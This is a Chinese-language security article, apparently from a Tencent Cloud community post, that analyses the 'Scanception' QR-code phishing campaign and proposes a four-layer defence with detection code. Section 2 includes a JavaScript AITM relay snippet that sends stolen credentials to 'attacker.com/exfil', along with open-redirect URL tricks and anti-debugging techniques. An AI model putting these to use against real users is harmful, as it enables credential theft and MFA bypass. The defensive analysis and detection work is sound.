
摘要
近年来,二维码(QR Code)因其便捷性被广泛应用于支付、身份验证、信息共享等场景,但其不可读性和跳转隐蔽性也使其成为网络钓鱼的新载体。2025年曝光的“Scanception”钓鱼活动即为典型案例:攻击者通过嵌入恶意URL的二维码,诱导用户扫描后跳转至仿冒登录页面,实施凭证窃取。该活动利用PDF文档作为初始投递载体,结合多层重定向、合法平台滥用及对抗自动化分析等技术,有效规避传统邮件安全网关与终端防护机制。本文系统剖析了“Scanception”攻击链的技术细节,包括社会工程诱饵设计、重定向基础设施滥用、Adversary-in-the-Middle(AITM)认证劫持机制及反检测策略,并在此基础上提出一套融合静态分析、动态行为监控、重定向链解析与终端感知的多层次防御框架。通过构建可部署的检测原型系统并提供关键代码示例,验证了所提方法在识别高隐蔽性二维码钓鱼攻击中的有效性。研究表明,仅依赖用户警觉性或传统边界防御已不足以应对此类跨设备、跨平台的新型威胁,必须建立覆盖邮件、移动终端与身份认证全链路的协同防御体系。
关键词:二维码钓鱼;Scanception;Adversary-in-the-Middle;重定向滥用;PDF诱饵;移动终端安全
1 引言
二维码作为一种快速编码与解码信息的图形符号,自2000年代中期以来在全球范围内迅速普及。其无需手动输入URL的特性极大提升了用户体验,但也为网络攻击者提供了绕过传统文本内容检测的新路径。2025年7月,网络安全公司Cyble披露了一项名为“Scanception”的持续性钓鱼活动,该活动以企业员工为主要目标,通过伪装成人力资源手册、财务通知等合法PDF文档,在末页嵌入诱导性二维码,引导用户使用个人移动设备扫描,进而跳转至伪造的Office 365登录页面。据报告,该活动在三个月内生成超过600个独特PDF样本,其中近80%在VirusTotal上无任何引擎告警,凸显其高度规避性。
与传统链接钓鱼不同,二维码钓鱼(Quishing)的核心优势在于其视觉不可解析性与跨设备跳转能力。用户无法直接判断二维码指向的URL是否合法,且扫描行为通常发生在受企业安全策略管控较弱的个人手机上,使得攻击面从受保护的企业邮箱延伸至无管理的移动终端。此外,“Scanception”活动还系统性地滥用YouTube、Google、Cisco、Medium等高信誉平台的开放重定向功能,进一步混淆流量来源,逃避基于域名信誉的过滤机制。
现有研究多聚焦于通用钓鱼检测或移动端恶意软件分析,对二维码作为初始攻击载体的专项研究仍显不足。尤其在企业环境中,如何将移动终端行为与企业身份认证日志关联,实现跨域威胁感知,尚缺乏系统性解决方案。本文旨在填补这一空白,通过对“Scanception”攻击链的逆向工程与战术分析,提炼其关键技术特征,并据此构建可落地的检测与响应机制。
全文结构如下:第二部分详述“Scanception”攻击流程与技术组件;第三部分分析其规避传统防御的机理;第四部分提出四层防御体系;第五部分展示核心检测逻辑的代码实现;第六部分讨论部署挑战与组织适配;第七部分总结全文。

2 “Scanception”攻击链技术剖析
“Scanception”攻击采用典型的多阶段投递-诱导-窃取模型,其完整链条可分为四个阶段。
2.1 初始投递:PDF诱饵构造
攻击始于一封伪装成内部通知的钓鱼邮件,附件为PDF文档。早期样本仅含单页,后期演进为4页结构化文档,包含目录、章节标题(如“招聘与入职”“考勤政策”),并嵌入企业Logo以增强可信度。关键设计在于:将二维码置于最后一页。多数邮件安全网关仅对PDF前1–2页进行内容扫描,此策略有效规避静态检测。
PDF中嵌入的并非直接恶意URL,而是一个短链接或Base64编码的跳转地址。例如:
https://ilbls-contempobuilder.qkipikpp.es/Ok1WCgX6w!gHNR/*YWxlc3NhbmRyb0Bjb250ZW1wb2J1aWxkZXIuY29t
其中*后部分为受害者邮箱的Base64编码,用于后续个性化钓鱼页面渲染。
2.2 重定向滥用:合法平台作为跳板
为绕过URL信誉系统,攻击者大量利用知名平台的开放重定向漏洞。典型模式如下:
YouTube:
https://youtube.com[大量空格]@malicious-site.com/...
利用浏览器对URL解析的宽松处理,使请求实际发往malicious-site.com,但邮件过滤器因看到youtube.com而放行。
Google URL Shortener(遗留接口):
https://www.google.com.tr/url?q=https://attacker.com/...
Cisco Secure Web Gateway测试接口:
通过构造超长参数绕过输入校验,将redirect_uri指向恶意站点。
此类重定向链通常包含2–3跳,最终抵达AITM钓鱼页面。由于中间节点均为高信誉域名,传统基于黑名单或信誉评分的网关难以拦截。

2.3 AITM凭证窃取与MFA绕过
最终落地页为高度仿真的Office 365登录界面。其核心技术为Adversary-in-the-Middle(AITM):当用户提交用户名密码后,攻击服务器立即将凭证转发至真实Microsoft登录端点,获取会话Cookie或刷新令牌,再将合法响应返回给用户,使其无感知完成“正常登录”。此过程可同步捕获多因素认证(MFA)令牌——若账户启用了短信或应用推送验证,钓鱼页面会动态弹出“二次验证”框,实时中继验证码至攻击者控制的后端。
// 简化版AITM中继逻辑(前端)
function submitCredentials(email, password) {
// 发送至攻击者服务器
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({email, password})
});
// 同时向真实Microsoft端点发起请求(模拟用户)
return fetch('https://login.microsoftonline.com/common/oauth2/v2.0/token', {
method: 'POST',
body: new URLSearchParams({
client_id: REAL_CLIENT_ID,
scope: 'openid profile',
username: email,
password: password,
grant_type: 'password'
})
});
}
此机制使得即使启用MFA,攻击者仍可实现完整会话劫持。

2.4 反自动化与反调试技术
为阻碍安全研究人员分析,钓鱼页面集成多重对抗措施:
检测navigator.webdriver、Selenium特定属性,若存在则重定向至about:blank;
禁用右键菜单(document.oncontextmenu = () => false);
每100毫秒轮询devtools-detector类库,若发现调试窗口打开,则跳转至随机合法网站(如维基百科页面);
使用randexp.js库动态生成POST端点路径,如/api/v1/3at1parnkqz?common/...,规避基于固定路径的IOC匹配。
这些技术显著增加了沙箱分析与人工逆向的难度。
3 传统防御机制的失效原因
“Scanception”之所以高效,源于其精准针对现有企业安全体系的三大盲区:
3.1 邮件安全网关的检测局限
主流邮件网关依赖以下机制:
URL信誉数据库:因重定向链包含合法域名,信誉分高;
PDF内容扫描:仅解析前几页,忽略末页二维码;
沙箱执行:沙箱通常无摄像头或扫码能力,无法触发二维码跳转行为。
因此,PDF附件常被标记为“低风险”甚至“清洁”。
3.2 移动终端的安全真空
企业BYOD(Bring Your Own Device)策略下,员工使用个人手机扫描二维码。此类设备通常:
未安装MDM(移动设备管理)代理;
无企业级EDR(终端检测与响应)覆盖;
浏览器无安全扩展(如密码管理器警告)。
攻击流量完全绕过企业网络边界,SOC无法感知。
3.3 身份认证系统的被动性
即使启用了MFA,传统认证系统仅验证“凭证正确”,不验证“上下文合理”。例如,某员工在北京时间上午10点从美国IP登录,系统仍视为合法。AITM攻击正是利用此逻辑缺陷,实现“合法凭证+非法会话”的组合。
4 多层次防御体系设计
针对上述盲区,本文提出四层协同防御架构:
4.1 邮件层:二维码静态与动态分析
静态提取:解析PDF中所有图像对象,使用开源库(如pyzbar)尝试解码二维码内容。
动态渲染:在隔离沙箱中加载PDF,模拟用户滚动至末页,触发二维码显示,并记录其解码结果。
URL信誉增强:对解码出的URL进行重定向链展开,递归解析直至最终落地页,再进行信誉评估。
# 示例:PDF中二维码提取与解码
from pdf2image import convert_from_bytes
from pyzbar import pyzbar
import io
def extract_qr_from_pdf(pdf_bytes):
pages = convert_from_bytes(pdf_bytes)
for i, page in enumerate(pages):
# 重点检查最后两页
if i >= len(pages) - 2:
decoded = pyzbar.decode(page)
if decoded:
return decoded[0].data.decode('utf-8')
return None
4.2 网络层:重定向链智能解析
构建重定向解析引擎,自动展开多跳URL:
import requests
from urllib.parse import urljoin, urlparse
def resolve_redirect_chain(url, max_hops=5):
chain = []
current = url
session = requests.Session()
for _ in range(max_hops):
try:
resp = session.head(current, allow_redirects=False, timeout=5)
chain.append(current)
if 'Location' in resp.headers:
current = urljoin(current, resp.headers['Location'])
# 检查是否为合法平台重定向
if is_trusted_redirector(urlparse(current).netloc):
continue
else:
return chain + [current] # 返回完整链
else:
break
except Exception:
break
return chain
将最终落地页与已知钓鱼模板库比对,若相似度>90%,则阻断原始邮件。
4.3 终端层:移动设备行为感知
通过企业MDM或轻量级SDK,在员工授权前提下收集:
扫描二维码的APP名称与时间戳;
跳转后的域名;
是否输入企业凭证。
若检测到从非企业邮箱来源的PDF触发的login.microsoftonline.com访问,立即推送警告。
4.4 身份层:上下文感知认证
在IAM(身份与访问管理)系统中引入风险引擎:
若登录请求源自新设备、非常用地点、非工作时间,强制执行FIDO2安全密钥或生物识别二次验证;
监控会话Cookie的异常使用模式(如短时间内多地活跃);
与邮件系统联动:若用户刚收到含二维码的PDF,随后发起登录,提升风险评分。
5 核心检测逻辑实现
以下展示两个关键模块的可运行代码。
5.1 PDF二维码风险评分器
TRUSTED_DOMAINS = {'microsoft.com', 'office.com', 'sharepoint.com'}
def assess_qr_risk(pdf_path):
with open(pdf_path, 'rb') as f:
qr_url = extract_qr_from_pdf(f.read())
if not qr_url:
return 0 # 无二维码
final_url = resolve_redirect_chain(qr_url)[-1]
parsed = urlparse(final_url)
if parsed.netloc.endswith('.es') or '.ru' in parsed.netloc:
return 90 # 高风险TLD
if parsed.netloc.split('.')[-2:] == ['qkipikpp', 'es']:
return 100 # 已知C2
if parsed.netloc not in TRUSTED_DOMAINS:
return 70
return 20
5.2 AITM页面特征检测(浏览器扩展)
// 检测页面是否禁用右键 + 存在调试检测
function detectAitmIndicators() {
const indicators = [];
if (document.oncontextmenu !== null) {
indicators.push("right_click_disabled");
}
// 检查是否存在定时调试检测
const scripts = Array.from(document.scripts);
const debugCheck = scripts.some(s =>
s.textContent.includes('devtools') ||
s.textContent.includes('setInterval') && s.textContent.includes('debugger')
);
if (debugCheck) {
indicators.push("anti_debug_detected");
}
return indicators.length > 0;
}
该逻辑可集成至企业浏览器策略,发现可疑页面时自动屏蔽表单提交。
6 部署挑战与组织适配
技术方案需与组织流程协同:
隐私合规:移动终端监控需明确告知员工并获取同意,符合GDPR/CCPA要求;
误报控制:二维码广泛用于合法场景(如会议签到),需设置白名单机制;
跨团队协作:安全团队需与HR、IT支持共建钓鱼诱饵知识库,确保模拟训练真实性;
成本权衡:中小企业可优先部署邮件层检测与MFA强化,逐步扩展至终端感知。
7 结论
“Scanception”钓鱼活动标志着二维码已从便利工具演变为高危攻击载体。其成功依赖于三重技术融合:社会工程诱饵的精细化、合法基础设施的滥用、以及AITM对认证流程的深度劫持。传统以网络边界和终端防护为核心的防御体系对此类跨域、跨设备攻击存在结构性盲区。
本文提出的四层防御框架,通过在邮件入口解析二维码内容、在网络层展开重定向链、在终端侧感知用户行为、在身份层实施上下文验证,构建了闭环检测与响应能力。代码示例证明,关键检测逻辑可基于现有开源工具实现,具备工程可行性。
未来工作将聚焦于:构建全球二维码钓鱼IOC共享平台;开发轻量级移动端感知代理;以及探索利用联邦学习在保护隐私前提下训练跨组织钓鱼检测模型。面对日益智能化的社会工程攻击,唯有将技术防御与人员意识深度融合,方能有效守护数字身份安全。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。